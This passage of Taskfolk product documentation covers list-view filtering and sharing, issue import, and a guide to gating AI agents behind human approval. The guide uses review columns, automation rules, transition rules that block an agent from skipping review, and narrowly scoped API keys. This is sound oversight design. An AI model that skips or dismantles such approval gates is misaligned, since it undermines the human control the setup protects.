Progress, High priority, assigned to you, and the path becomes: ```bash /w/taskfolk/p/web/list?status=in_progress&priority=high&assignee=me ``` That URL is the whole point. It is not a fragile session thing that evaporates on refresh. Reload the page and you land right back on the same filtered list. Copy it, paste it into your standup channel, and whoever clicks it sees precisely what you saw. No "click Filter, then Status, then check In Progress, then..." instructions needed. The link is the instruction. Here is the full vocabulary the list writes into the query string. Multi-value params take comma-separated lists; an omitted key means "any": | Param | Values | Set by | |---|---|---| | `types` | `epic,story,task,bug,subtask` | Type facet | | `priority` | `critical,highest,high,medium,low,lowest` | Priority facet | | `status` | `backlog,todo,in_progress,in_review,done,cancelled` | Status facet | | `labels` | label ids | Label facet | | `assignee` | `me`, `unassigned`, or `u:` | Assignee facet | | `due` | `overdue`, `week`, `none` | Due facet | | `sort` + `dir` | `key,title,status,priority,updatedAt` + `asc/desc` | Column headers | | `group` | `epic`, `status`, `assignee` | Group by | | `cols` | visible column list | Columns manager | | `collapsed` | collapsed group ids | Group headers | | `density` | `compact`, `comfortable` | Density toggle | | `cf.` | typed payload (see Fields pill) | Fields pill | This is why I reach for the list to answer questions in chat. The answer and the proof are the same artifact. **Clear** wipes all the facet filters at once and returns you to the full list. One exception: custom-field filters (set through the Fields pill, covered below) have their own Clear inside that panel, so the main Clear won't touch them. If your list still looks filtered after you hit Clear, check whether a Fields filter is hanging around. ## Sorting by the columns that actually sort Filtering narrows the rows. Sorting orders them. Grouping, next section, breaks the result into labeled sections. That is the whole pipeline, and the URL carries all of it: ```mermaid flowchart LR A[All open issues] --> B[Filter narrows rows] B --> C[Sort orders rows] C --> D[Group adds sections] D --> E[URL carries the result] ``` Click a column header to sort by it, click the same header again to flip between ascending and descending, and a small chevron shows which way it points. Here's the honest part, worth knowing before you go hunting for a sort that isn't there. Only five columns sort: **Key**, **Title**, **Status**, **Priority**, and **Updated**. The Type and Assignee headers are not clickable. There is also no multi-column sort. You cannot say "by priority, then by updated." One sort at a time. The default, if you never click anything, is Updated descending. Why these five? Because sort here is server-side. When you click Priority, the server runs an actual `ORDER BY` and returns the rows in that order. That matters for a reason that isn't obvious until you hit it: sorting holds across pagination. If the project is big enough that issues load in pages (the **Load more** button at the bottom), a server-side sort keeps the *entire* result set in correct global order. You won't get page one sorted and page two starting over. Sort by Priority descending on a 500-issue project and the single most critical ticket is genuinely at the top, not just the most critical of the first hundred that happened to load. Contrast that with filtering, which (as the limits section explains) runs in memory over loaded rows. Sort is the part you can fully trust on a large project. ## Grouping rows by epic, status, or assignee Sorting orders a flat list. Grouping breaks it into labeled sections. The **Group by** select gives you four options: None (the default), Epic, Status, and Assignee. Pick Assignee and the table splits into a section per person, each with a header showing a count ("Omar, 12"). Group headers collapse and expand, and here's a nice touch: the collapsed state lives in the URL like everything else, so if you collapse everyone except two people and share the link, the recipient opens it collapsed the same way. The real power is pairing grouping with sort. Group by Assignee, then sort by Priority descending, and every person's most urgent work floats to the top of their section. That's a one-glance answer to "is anyone sitting on something critical" without opening a single ticket. As a URL: ```bash /w/taskfolk/p/web/list?group=assignee&sort=priority&dir=desc ``` Now the nuance you have to internalize, because it's the single most confusing thing about the list view. **Grouping by Status is not the same as filtering by Status.** When you *group* by Status, the sections are your project's specific custom board columns, the real names you gave them. When you *filter* by Status, you're filtering on the fixed underlying category (Backlog, To Do, In Progress, In Review, Done, Cancelled). ```mermaid flowchart TD S[Issue status] --> C[Fixed category like In Progress] S --> K[Custom column like Building] C --> F[Status filter reads the category] K --> G[Group by Status reads the column] ``` If your WEB project renamed "In Progress" to "Building" and split "In Review" into "Code Review" and "QA," grouping shows those real names, but the filter still speaks in the fixed categories underneath. They are related but not identical. If you expect the filter dropdown to list your custom column names, you'll be briefly confused. It doesn't, by design. ## Custom-field columns and the Fields pill Two separate things share the word "fields," so let's keep them straight. The **Columns** manager (the popover on the right of the strip) controls which columns show in the table. Optional columns include Labels (on by default), Reporter, Due Date, Estimate / Spent, Milestone, and Sprint, though Milestone and Sprint only appear as options when the project actually uses them. Below a divider in the same popover you'll find your project's custom fields, and toggling one adds it as a column. Custom-field columns render kind-aware, meaning each field type displays sensibly rather than as raw text. A select field shows option chips. A checkbox shows a checkmark. A date shows a formatted date, a number shows the number, a URL shows a clickable host, and a user field shows an avatar. You are not stuck reading a raw JSON blob in a cell. The **Fields** pill (over on the left, next to Filter) is the other thing. It *filters* by custom fields, and each field type gets an appropriate control: - Text and URL fields: a "Contains…" match. - Select and multi-select: any-of chips, same logic as labels. - User fields: pick one or more members. - Number fields: a Min and Max range. - Date fields: a From and To range. - Checkbox fields: Any, Checked, or Unchecked. These filters ride the URL too, one `cf.` param per field with a small typed payload: ```bash ?cf.=o:design~qa # select: any of these options ?cf.=t:checkout # text: contains ?cf.=n:1..10 # number: min..max (either side open) ?cf.=d:2026-01-01..2026-02-01 # date: from..to ?cf.=b:1 # checkbox: checked (b:0 = unchecked) ``` Like the Label facet, the Fields pill only shows up when the project has at least one filterable custom field. No custom fields, no pill. One limit to file away now, because it surprises people later: custom-field filters are list-view-only. They do their job here and nowhere else. Switch to the board and they are gone. That is covered properly at the end, but it's worth flagging where you first meet the feature. ## Saving a filter as a view (and what it does not save) If you run the same filter every morning, save it. Open the **Views** popover and click **Save current filter**. You name it and choose one thing: **Shared with the project** (everyone on the project sees it) or uncheck that for personal (only you see it). If it's your first view, you'll meet the empty-state line "No saved views yet. Set up a filter, then save it." Once saved, views can be renamed and deleted by whoever created them, and the active view shows a checkmark when the current filter matches it. Now the honest limit, and please read this before you rely on a saved view for something important. A saved view persists exactly **five** fields: types, priorities, statuses, labels, and assignee. That's it. Everything else falls back to defaults when you reopen it: | Setting | Saved view | Shared URL | |---|---|---| | Type, priority, status, label, assignee filters | Yes | Yes | | Milestone, sprint, release, due-date filters | No | Yes | | Custom-field filters | No | Yes | | Sort order and direction | No | Yes | | Grouping and collapsed groups | No | Yes | | Visible columns and density | No | Yes | So if you carefully build a view that is grouped by assignee, sorted by priority, with a custom "story points" column showing, and save it, only the base filter survives. Reopen it and the grouping, sort, and column choices are back to defaults. This isn't a flaw to work around so much as a fork in the road. If you want a repeatable *filter* you open often ("my open bugs"), save a view. If you want to hand someone the *whole arrangement*, sort and grouping and columns included, share the URL instead. The URL carries all of it. A saved view carries five fields. Pick the tool that matches what you actually need. ## Bulk edits, inline editing, and CSV export Everything so far is read-only. The list can also write, if you have the `issue.edit_any` permission (owners, admins, and members have it, viewers don't). If you're a viewer, you'll see the list but none of the editing controls below, which is working as intended. **Inline editing** lets you change a row without opening the issue. Click a row's Status, Priority, Assignee, or Labels cell and a small popover opens to edit it in place. The change is optimistic. It updates instantly and reverts if the server rejects it. Great for triage: sweep down the list bumping priorities without a single page load. [**Bulk editing**](/docs/how-to-bulk-edit-issues) handles many rows at once. Each row has a checkbox, plus a "Select all visible tasks" option. Check a batch and a sticky action bar appears with **Set status**, **Set priority**, **Unassign**, an AI batch triage action, and **Archive**. This is how you clear a backlog decision fast: select fifteen stale tasks, Archive, done. ![The list view with a row checkbox per issue and the control strip above it. Each row's Status, Priority, Assignee, and Labels cells edit inline, and checking rows brings up the bulk action bar.](/images/blog/how-to-bulk-edit-issues-list-view.webp) One editing limit: rows with multiple assignees show a read-only avatar stack in the list. You can't edit the full multi-assignee set inline. That's done on the issue detail page. Single-assignee rows edit inline fine. **Export CSV** dumps the list to a file. Worth knowing exactly what you get, so you're not surprised. It excludes archived and soft-deleted issues, is capped at 5000 rows, comes ordered by issue number, and is a *fixed* column set (not your chosen visible columns). It is also rate-limited to 10 requests a minute per user, so you can't hammer it. **Import CSV** takes you the other way, to the importer, for bringing issues in. ## Limits and gotchas worth knowing Everything above works, but a few sharp edges are better learned here than discovered mid-standup. **Filtering is in-memory; sorting is server-side.** This is the big one. Filters apply as a predicate over the rows already loaded in your browser, not as a fresh database query on every keystroke. On a very large project the count reads a capped "1000+" and your filter only sees the loaded rows until you press **Load more** to pull the next page. So on a huge project a filter can look like it's finding fewer matches than truly exist, because the unloaded rows haven't been checked yet. Sort, by contrast, is server-side and always reflects the complete set. Load more first, then filter, if you need certainty on a big project. **Some filters don't leave the list.** Custom-field filters and the Release filter simply don't carry over to the board, backlog, timeline, or calendar tabs. This is intentional. Those views have their own filtering models. But if you filter by a custom field here and then click over to the board expecting the same subset, you'll get the full board. Not a bug. ![The board tab with its own Filter row open, showing the shared Type, Priority, Status, Label, Assignee, and Due facets. Facet filters travel between tabs; custom-field and release filters stay on the list.](/images/blog/how-to-use-a-kanban-board-filters.webp) **Facets only appear when they apply.** The Label facet needs at least one label. The Milestone, Sprint, and Release facets (and the Milestone/Sprint columns) only show when the project has those things. The Fields pill needs a filterable custom field. If a facet you expect is missing, the usual reason is the underlying data doesn't exist yet. **Grouping and density are session state, not saved settings.** Grouping and collapsed-group state live in the URL, not on the server, so they travel with the link but aren't a saved preference. Density defaults to your account-menu setting (Compact or Cozy) and can be overridden per-list with the toggle or a `?density=` param, but that override is also just URL state. **Desktop table, mobile cards.** Below the 1024px breakpoint the table becomes a card layout. Everything still works, but the sortable column headers and the wide column set are a desktop thing. For real filtering-and-sorting work, use a desktop-width window. None of these are dealbreakers. They are the shape of the tool, and knowing them means you'll never be caught explaining why your shared link looks different on someone else's board. ## Frequently asked questions **How do I filter issues by assignee, label, and status at the same time in Taskfolk?** Click **Filter** to open the facet row, then set three facets: check your status under **Status**, check your label(s) under **Label**, and pick a person (or "Assigned to me") under **Assignee**. The facets combine as AND, so you get issues matching all three at once. The result is written to the URL, so you can copy and share it. **Why does filtering by Status not match my custom board column names?** Because the Status *filter* operates on the fixed status category (Backlog, To Do, In Progress, In Review, Done, Cancelled), not on your project's renamed columns. If you want to see your actual column names, use **Group by → Status**, which groups on the specific custom column. The filter and the grouping look at status through different lenses on purpose. **Which columns can I actually sort by in the list view?** Five: Key, Title, Status, Priority, and Updated. Click a header to sort, click again to reverse it. The Type and Assignee headers aren't sortable, and there's no multi-column sort. The default is Updated, descending. **Does a saved view remember my sort order, grouping, and visible columns?** No. A saved view persists only five filter fields (types, priorities, statuses, labels, assignee). It does not save sort, grouping, columns, density, or your milestone, sprint, release, due-date, or custom-field filters. For the full arrangement, share the URL instead, which carries all of it. **How do I share a filtered issue list with a teammate?** Copy the URL. Every filter, sort, group, column choice, collapsed-group state, and density setting lives in the query string and round-trips on refresh. Paste the link and your teammate opens the exact same list. No saved view or setup instructions required. **Can I bulk-change the status or priority of several issues at once?** Yes, if you have edit permission (owners, admins, members). Select rows with the checkboxes (or "Select all visible tasks"), then use the sticky action bar to Set status, Set priority, Unassign, run AI batch triage, or Archive. You can also click any single row's Status or Priority cell to edit it inline. **How do I show or filter by a custom field in the list?** To show it as a column, open the **Columns** manager and toggle the field on (custom fields sit below a divider). To filter by it, use the separate **Fields** pill, which gives you a control matched to the field type (contains for text, chips for select, min/max for number, and so on). Both only appear when the project has custom fields. **Why do my custom-field and release filters disappear when I switch to the board?** Because custom-field filters and the Release filter are list-view-only by design. The board, backlog, timeline, and calendar have their own filtering and intentionally don't inherit these. If you need that exact subset elsewhere, the list URL is the way to preserve it. ## Keep going Once you're comfortable slicing the backlog in the list, the natural next steps are learning [how to use a kanban board](/docs/how-to-use-a-kanban-board) for the flow side of the same issues, letting [AI issue triage that assigns and prioritizes](/blog/ai-issue-triage-that-assigns-and-prioritizes) handle the first pass so your filters have less to sort through, and understanding [what agentic project management means](/blog/what-is-agentic-project-management) if you're building a workflow where humans and agents share the same list. Coming from another tool? Here's how the list view compares in our [Taskfolk vs Jira](/vs/jira) breakdown. Open project WEB, click Filter, and answer that standup question before anyone finishes typing it. --- # How to give an AI agent human-in-the-loop approval URL: https://taskfolk.ai/docs/human-in-the-loop-approval-for-ai-agents Published: 2026-05-20 Updated: 2026-07-28 Author: The Taskfolk team Tags: human in the loop, AI agents, automation, workflow, how-to Build an approval gate for AI agents in Taskfolk: let the agent triage into a Needs review column, a human moves it forward, and transition rules stop skips. The fastest way to lose trust in an AI agent is to let it silently change things. It re-prioritizes a ticket at 2am, closes a bug it thinks is a duplicate, moves a card to Done because a comment sounded resolved. Each move might be right. But nobody saw it happen, and now you are auditing history to figure out why the board looks wrong. The fix is not a smarter agent. It is a gate. The agent should propose, and a person should approve before anything real changes. That is what "human in the loop" means in practice, and you can build a solid version of it in Taskfolk today out of three parts you already have: custom board statuses, workflow automation on issue events, and scoped API keys. One honest note up front. Taskfolk does not have a dedicated "agent approval" screen with a queue of pending actions and an Approve button. What it has are the pieces you compose into that gate. This post is the recipe, including where the edges are. ## The idea: the board is the approval queue You do not need a separate approval inbox if your board already has a column that means "waiting for a human." So make one. ![The Taskfolk board with a dedicated In Review column, where an agent parks work for a human to approve](/images/blog/human-in-the-loop-approval-for-ai-agents-board.webp) On any Taskfolk board, statuses are your own columns, not a fixed set. Each column maps to a category (backlog, todo, in progress, in review, done, and a couple of terminal ones) that drives reports and the open/closed flag, but the name and color are yours. Add a column called Needs review. That column is the approval queue. Anything sitting in it is something the agent did that a person has not yet signed off on. The whole gate comes down to one rule: the agent can push work into Needs review, and only a human can push it out. The gate, in one picture: ```mermaid flowchart TD A["Agent prepares the work"] -->|"the agent's last move"| NR["Needs review"] NR -->|"human: fine, do it"| IP["In progress"] NR -->|"human: not now"| B[Backlog] NR -->|"human: wrong call"| RJ["Rejected / Won't do"] ``` ## Step one: let the agent land in Needs review, not in your live flow Point your agent at [the REST API](/api/v1/reference) or [the MCP server](/developer) and give it a job with a clear finish line. Triage is the classic one. A bug comes in, the agent reads it, sets a type and priority, maybe drafts a repro, and files it. The one difference from a fully autonomous setup: the agent's last move is always into Needs review. It does not set the ticket to In progress or assign it to a sprint. It stops at the gate. There are two ways to make that happen, and using both is fine. The direct way is to tell the agent, in its instructions, to create or move the issue into the Needs review status and go no further. On the wire that is two calls. First, look up the id of your Needs review column: ```bash curl https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/statuses \ -H "Authorization: Bearer tfk_live_a1b2..." ``` The response lists every column on the board, in order, with its workflow settings: ```json { "data": [ { "id": "0197a3c2-8f1e-7c3a-b2d4-5e6f7a8b9c0d", "name": "Needs review", "category": "in_review", "allowed_transitions": null, "wip_limit": null } ] } ``` Then file the issue with that `status_id`, so it lands in the gate and nowhere else. Here is the same create in curl, JavaScript, and Python: ```bash curl -X POST https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/issues \ -H "Authorization: Bearer tfk_live_a1b2..." \ -H "Content-Type: application/json" \ -d '{ "type": "bug", "title": "Checkout 500 when the cart has a deleted SKU", "description_md": "Steps to reproduce: ...", "priority": "high", "status_id": "0197a3c2-8f1e-7c3a-b2d4-5e6f7a8b9c0d" }' ``` ```javascript const res = await fetch( "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/issues", { method: "POST", headers: { Authorization: `Bearer ${process.env.TASKFOLK_API_KEY}`, "Content-Type": "application/json", }, body: JSON.stringify({ type: "bug", title: "Checkout 500 when the cart has a deleted SKU", description_md: "Steps to reproduce: ...", priority: "high", status_id: needsReviewId, }), }, ); const { data: issue } = await res.json(); // 201, issue.key is e.g. WEB-142 ``` ```python import os import requests r = requests.post( "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/issues", headers={"Authorization": f"Bearer {os.environ['TASKFOLK_API_KEY']}"}, json={ "type": "bug", "title": "Checkout 500 when the cart has a deleted SKU", "description_md": "Steps to reproduce: ...", "priority": "high", "status_id": needs_review_id, }, ) r.raise_for_status() issue = r.json()["data"] ``` Simple, but it relies on the agent following instructions, which is exactly the thing you are trying not to trust blindly. The reliable way is an automation rule that enforces it regardless of what the agent intended. Taskfolk automations follow a plain shape: WHEN a trigger fires, IF some conditions match, THEN run some actions. The triggers that matter here are `issue.created` and `issue.status_changed`. The landing rule looks like this: - WHEN an issue is created - IF the reporter is the agent (match on assignee, label, or a naming convention you control) - THEN set its status to Needs review ![The automation recipe gallery, including a rule that routes new bugs on creation](/images/blog/human-in-the-loop-approval-for-ai-agents-automation.webp) Now even if the agent tries to file straight into In progress, the rule pulls it back to the gate. The agent proposes; the board decides where a proposal is allowed to sit. You can also use the automation to do the paperwork a human would otherwise chase: add a "needs-review" label, drop a comment with a template that says what the agent changed, assign it to whoever owns triage that week. Automation comment bodies support `{issue}`, `{assignee}`, and `{actor}` placeholders, so the note can name the agent that acted. If the person who owns triage is away, the queue just waits; [who reviews your agents while you're on holiday](/blog/who-reviews-your-agents-while-you-are-away) covers the handover. ## Step two: approve by moving the card This is the part that stays human, and it should feel boring. A person opens Needs review, reads the ticket the agent prepared, and drags it to the next real column. To do the work: fine, In progress. Not now: Backlog. Wrong call: your Rejected or Won't do column. That drag is the approval. There is no separate button because there does not need to be one. The move is recorded in the issue's activity log with the person's name on it, which is the audit trail you wanted in the first place. If someone asks "who approved this," the history answers. Because the approval is a normal board action, everything else you already use keeps working: saved views filtered to Needs review, the assignee picker, comments, mentions. You are not learning a new surface. You are using the board as the review desk. ## Step three: stop the agent from skipping the gate Instructions and a landing rule get you most of the way. Transition rules close the last gap. ![Workflow transition rules in project settings: each column has a Can move to setting, so a status cannot be skipped](/images/blog/human-in-the-loop-approval-for-ai-agents-workflow.webp) Taskfolk supports Jira-style status transitions. By default any column can move to any other, which is the sensible default for a small team. But each status can carry an `allowed_transitions` list (that is the `null` you saw in the statuses response above, meaning "allow all"): the set of columns work is allowed to move into from there. Set it, and a move that is not on the list gets refused. Watch it happen. The agent tries to jump its ticket straight to Done: ```bash curl -X POST https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/issues/WEB-142/transition \ -H "Authorization: Bearer tfk_live_a1b2..." \ -H "Content-Type: application/json" \ -d '{"status": "done"}' ``` And the API answers with a 400, not a moved card: ```json { "error": { "code": "validation", "message": "Workflow blocks this transition: \"Needs review\" cannot move to \"Done\".", "details": { "code": "workflow_transition_blocked", "from": "Needs review", "to": "Done" } } } ``` Here is the important detail: transition rules are enforced on every status write path, including the public API and MCP. They are not a UI nicety that an agent routes around by calling an endpoint. So if you make the terminal columns (In progress, Done) reachable only from Needs review, and you do not put the agent's landing column on a path that jumps the gate, the agent physically cannot move a ticket past review. The write is refused, the same as it would be for a person. ```mermaid sequenceDiagram participant Agent participant API as Taskfolk API participant Human Agent->>API: create issue in Needs review API-->>Agent: 201 created Agent->>API: transition to Done API-->>Agent: 400 workflow blocks this transition Human->>API: drag card to In progress API-->>Human: move recorded in activity ``` Pair that with per-column WIP limits if you want a hard cap on how much the agent can stack up waiting for a human. Be clear-eyed about what this does and does not buy you. Transition rules control which column-to-column moves are legal for everyone. They do not, on their own, say "agents follow rule A and humans follow rule B." If a human also has to move cards the same way, the constraint applies to them too. In most review workflows that is fine, even good, because the gate is the point. But it means the enforcement is workflow-shaped, not identity-shaped. ## Step four: scope the key so the blast radius is small The last layer is the API key. Never hand an agent a coarse key. ![The developer keys tab, where each API key is minted with explicit scopes](/images/blog/how-to-use-the-rest-api-keys-tab.webp) Taskfolk keys are scoped, and scopes only narrow, never widen past the role of the person who minted the key. For a triage-and-propose agent, `issues:write` plus `issues:read` is usually enough: it can create issues, edit fields, and move them between columns, but it cannot touch project settings, manage members, or delete a project. It also cannot edit the automations or the transition rules that define the gate, because those sit behind `automations:write` and project settings, which are admin-tier scopes deliberately kept out of the plain `write` grant. So the agent cannot quietly remove the fence it is standing behind. Mint a separate key per agent instead of sharing a login. Every change is then attributed to that agent, and if it misbehaves you revoke one key without disrupting anyone else. Taskfolk also watches for anomalous key usage and can revoke on a spike, which is a backstop, not a substitute for scoping it tight. ## Where the seams are This is composed, not bought, so it has seams worth naming. There is no single "pending approvals" dashboard beyond a saved view of the Needs review column. That view is genuinely enough for most teams, but it is a filtered board, not a purpose-built queue with bulk approve. Transition rules are per-project. If your agent works across ten projects, you configure the gate in each. Automations are workspace-level and can filter by project, so the landing rule scales better than the transition rules do. And the enforcement is on the board, not on the intent of the actor. The gate stops a bad move; it does not read the agent's mind. That is a feature if you treat the board as the source of truth, which you should. ## Why compose it this way You could wait for a vendor to ship an "AI approval center." Or you can notice that an approval workflow is just a review column, a rule that routes proposals into it, a rule that stops anything from jumping past it, and a key that cannot dismantle the setup. Those already exist, they are enforced on the same paths your agent calls, and they leave a clean audit trail because approval is a normal human action on the board. The result is the split that keeps working after the demo: the agent does the repetitive, checkable 80 percent and lands it at the gate. A person spends thirty seconds moving a card and owns the decision that carried risk. If you want to build this, start with one column and one automation rule on `issue.created`, point a scoped key at a single project, and watch the Needs review lane for a week before you widen anything. See [the API reference](/api/v1/reference) for the endpoints, or read [running a project with AI agents](/blog/run-projects-with-ai-agents) for the wider setup this fits into. --- # How to import your project URL: https://taskfolk.ai/docs/how-to-import-your-project Published: 2026-07-15 Updated: 2026-07-25 Author: The Taskfolk team Tags: migration, how-to, integrations Import a project from Jira, Trello, or a CSV into Taskfolk: the connector wizard, CSV column mapping, which fields survive, row caps, and the gotchas to plan around. You have a Jira project full of tickets, a Trello board someone set up two years ago, or a CSV a colleague exported and emailed you. The work exists. It just lives in the wrong place. And the last thing you want is to open two tabs and retype every ticket, one status and assignee at a time, until your eyes glaze over. Taskfolk has a real import for exactly this. You can import a project from Jira, Trello, or a CSV (plus ClickUp, monday.com, Linear, and Asana) through a guided wizard that pulls one board or project into a Taskfolk project, matches assignees by email, and drops you on a working board when it finishes. This tutorial walks the whole thing: the connector wizard, the CSV column mapper, which fields actually survive the trip, and the handful of gotchas that bite you on a big migration if you don't see them coming. Get the shape right first. It saves you a few wrong turns. ## What "import a project from Jira, Trello, or CSV" actually means in Taskfolk This is a one-way move, not a sync. You hand Taskfolk a temporary API token, it reads your source once, creates the issues, then throws the token away. No live mirror. No two-way updates. No background connection humming after the run finishes. If someone changes a Jira ticket tomorrow, that change does not flow into Taskfolk. You imported a snapshot. That is the whole deal, and honestly it is the right deal for a migration. You want a clean cut, not a tangle of half-synced systems. There are six live connectors: Jira, Trello, ClickUp, monday.com, Linear, and Asana. Alongside those you get a CSV import (paste text or upload a file) and a "Sample data" helper that spins up 5 example tasks so you can try the flow without wiring up a real token. That is the full list. If you were hoping to pull from GitHub Issues, Notion, Basecamp, or Azure DevOps, they are not here. Don't plan a migration around them. One thing trips people up: each connector pulls exactly one container, not your whole account. | Source | One import pulls | | --- | --- | | Jira | One project, by its key | | Trello | One board | | ClickUp | One List | | monday.com | One board | | Asana | One project | | Linear | One team | So if your Jira instance has eight projects and you want all of them in Taskfolk, that is eight separate imports. It is not a full-account migration in a single click, and knowing that up front changes how you plan the day. Who can do this? Anyone with the `issue.create` permission, which means owners, admins, and members. Viewers are locked out. The import page does not just hide a button for them. The whole route 404s. So if a teammate says "I can't find the import page," check their role before you check anything else. ## Where to start the import: the workspace page vs a single project There are two doors into import, and they behave a little differently. ```mermaid flowchart TD A{What are you importing} -->|A new body of work from a connector| B[Workspace Import work page] A -->|A CSV into an existing project| C[Project List toolbar, Import CSV] B --> D[Source] D --> E[Destination] E --> F[Connect] F --> G[Review and start] C --> H[From CSV tab] H --> I[Map columns] I --> J[Preflight and import] ``` The first door is the workspace-level "Import work" page at `/w/[workspace]/import`. You will find it in the sidebar, and it runs the full four-step wizard including a Destination step where you pick or create the project the work lands in. Use this one when you are bringing in a brand-new body of work: a whole Jira project that does not have a Taskfolk home yet. The second door is per-project. Open any project's List view and there is an "Import CSV" link in the toolbar, which takes you to `/w/[workspace]/p/[project]/import`. Here the destination is already decided (it is this project), so the wizard skips the Destination step. This is also the only place the CSV importer lives. The "From CSV" tab is here, not on the workspace page. So the rule of thumb is simple. Importing a CSV into an existing project? Go through the project's List toolbar. Bringing in a fresh project from a connector? Start at the workspace page. ![Taskfolk's workspace-level Import work page on the Source step, showing the six connector cards (Jira, Trello, ClickUp, monday.com, Linear, Asana) with real logos, the Try sample data helper row, and the left Source/Destination/Connect/Review step rail. This is where a Jira, Trello, or CSV import begins.](/images/blog/how-to-import-your-project-workspace-wizard-source.webp) If you are just kicking the tyres and don't have a token handy, look for the "Just exploring? / Try sample data" helper row. It creates 5 example tasks with no credentials, which is a nice way to see what an imported project looks like before you commit real data. Note that Sample data is not one of the main source cards in the grid. It is offered separately as that helper row. ## Step through the wizard: Source, Destination, Connect, Review The service-import wizard is a four-step rail down the left side: Source, Destination, Connect, Review. It is the spine of the whole flow, and once you have done it once it feels obvious. **Source** is where you pick the tool card. Six logos, the real ones, so you are clicking the Jira mark or the Trello board icon, not reading a text list. Pick the tool you are migrating from and hit Next. **Destination** is where the tasks will land. You get a toggle between "Existing project" and "Create a new project." Choose an existing one from the picker if the project already lives in Taskfolk. Or pick "Create a new project," type a name, and Taskfolk builds the project first and then imports into it. Concretely: say you are pulling a Jira project and you want it to become the demo project WEB. If WEB already exists, select it under Existing project. If it doesn't, choose Create a new project, type "WEB," and Taskfolk builds the project (with its standard board columns Backlog, To Do, In Progress, In Review, Done) before the first issue drops in. On the per-project import page this step is skipped entirely, since the destination is already fixed. **Connect** is the credentials step, which gets its own section below because it is the fiddly one. **Review** is the final check before anything gets created. You move between steps with Next and Back, and the rail shows you where you are. Nothing is written to your workspace until you are through Review and you press Start import, so you can poke around and back out freely. ## Connect the tool: access key and the per-source locator fields This is the step people get stuck on. Slow down here. Every connector needs an Access key, which is the API token you generate in the source tool. Paste it into the Access key field. Then each source needs a couple of locator fields so Taskfolk knows exactly which container to read: | Source | Locator fields | | --- | --- | | Jira | Site domain, Project key, Account email | | Trello | Board ID, Trello key | | ClickUp | List ID | | monday.com | Board ID | | Asana | Project ID | | Linear | Team ID | If you are not sure where to generate the token or find those IDs, there is an inline "How to get your access key" help note on each source that tells you where to look. Read it. The token-creation path is different for every tool, and the note saves you a support search. Two hard rules on Jira specifically. First, it is Jira **Cloud only**. Your site has to be a `*.atlassian.net` domain. Jira Server and Jira Data Center are explicitly rejected, so if your company self-hosts Jira, this connector will not reach it. Second, Jira auth is your account email plus an API token, which is why the Jira card asks for Account email where the others don't. Now the reassuring part. The token is temporary. Taskfolk uses it for the single import run and discards it. It is not stored, it is not reused, and there is no standing integration holding your credentials. That is why there is no live sync: the connection genuinely ends when the import does. If you want to be extra careful on a sensitive source, revoke the token in the source tool after the import finishes. Nothing in Taskfolk will break, because nothing in Taskfolk is still holding it. ## Review and start: the ready-to-move check before anything is created The Review step is your last look before Taskfolk creates a single issue. It lays out three summary cards, Source, Destination, and Access, so you can confirm at a glance: yes, I am pulling from Jira project WEB, landing it in the WEB project, using this token. At the top you will see one of two banners. "Ready to move" means every required field is present and the Start import button is live. "Missing details" means something is incomplete (a blank locator field, no destination chosen), and Start import stays disabled until you go back and fill it in. That disabled-button behaviour is deliberate. It stops you from firing off an import that was always going to fail halfway. What good looks like here: the Source card names the right tool and container, the Destination card shows the exact project you meant (WEB, not some other project you clicked by accident), and the banner reads Ready to move. When all three line up, press Start import. This is the point of no return in the sense that issues start getting created, so give the summary a real read rather than a reflexive click. ## What carries over, and what quietly gets left behind Read this section twice. The gap between what you expect and what actually arrives is where migrations go sideways. Here is what a service import brings across, per source: the task **title**, **description**, **status**, **priority**, **assignee** (matched by email to a workspace member), **labels or tags**, and **due date**. ClickUp additionally brings a **time estimate**. Trello brings **attachment links**. Anything the source API exposes as a core field has a good chance of making it. Anything it buries in a custom structure does not. Taskfolk normalises the values on the way in so nothing gets rejected for being unfamiliar: - **Types** map to Taskfolk's epic, story, task, and bug. Jira "feature" and "improvement" both become story, "defect" becomes bug. - **Statuses** map to backlog, todo, in_progress, in_review, done, or cancelled. Anything unrecognised falls back to backlog, so a stray custom status does not drop the row. It just lands in Backlog for you to sort. - **Priorities** map across a lowest-to-critical scale. Unrecognised priorities become medium. Now the honest part. What does not come across. The import UI says it plainly: "Comments, checklists, custom fields, and attachment links vary by source." In practice, for the service connectors: - **Custom fields** do not import. That sprint field, that story-point field, that "Client" dropdown you built in Jira, none of it. - **Checklists and sprints** do not import. - **Subtask hierarchy** is flattened. A subtask comes in as a plain task with no parent link, because a flat imported row has no resolvable parent to attach to. You keep the work. You lose the tree. - **Comments** do not import from service connectors. The whole discussion history stays in the source tool. Two more that catch people. **Non-member assignees get dropped.** An assignee only sticks if that person's email matches someone already a member of your Taskfolk workspace. If the email does not match a member, the issue is created unassigned, and no invite goes out. Taskfolk will not create or invite users for you. So if half your imported tickets come in unassigned, it is almost always because those people are not in the workspace yet. Invite your team first, then import, and the assignees land. ![Taskfolk's workspace People page listing members with their roles. Assignees on imported issues only stick when the source email matches one of these members, so invite the team before running the import.](/images/blog/how-to-invite-team-members-people-overview.webp) And **attachments are links, not files.** Trello, the only service connector that brings attachments at all, appends the attachment URLs. It does not copy or re-host the actual files into Taskfolk storage. The pointer comes over. The bytes stay where they were. None of this is a reason not to import. It is a reason to import with clear eyes. You are moving the live work (titles, statuses, assignees, priorities, due dates), not the entire archaeological record. ## How do I map my CSV columns to Taskfolk fields? The CSV path is the flexible one, and it is the answer whenever a connector does not fit or your data already lives in a spreadsheet. It lives on a project's import page under the "From CSV" tab. Open the project, hit Import CSV from the List toolbar, and switch to that tab. You have two ways in: paste your CSV text straight into the box, or upload a `.csv` file. Either works. A clean file looks like this: ``` Title,Type,Status,Priority,Assignee email,Labels,Due date Fix login redirect,bug,in_progress,high,dana@example.com,auth;backend,2026-08-01 Dark mode for settings,story,todo,medium,,design;ui, Rotate the API keys,task,backlog,low,sam@example.com,, ``` Once your data is in, Taskfolk reads the header row and takes a first guess at what each column is. It auto-detects the common names, so a Jira or Trello export usually maps itself: | Taskfolk field | Headers it recognises | | --- | --- | | Title | title, summary, name | | Type | type, issue type | | Status | status, state | | Priority | priority | | Assignee email | assignee, assignee email, assigned to, owner | | Labels | labels, label, tags | | Description | description, body, details | | Comments | comments, comment, comment body, discussion | | Attachment URLs | attachment(s), attachment URL(s), files, file URLs | | 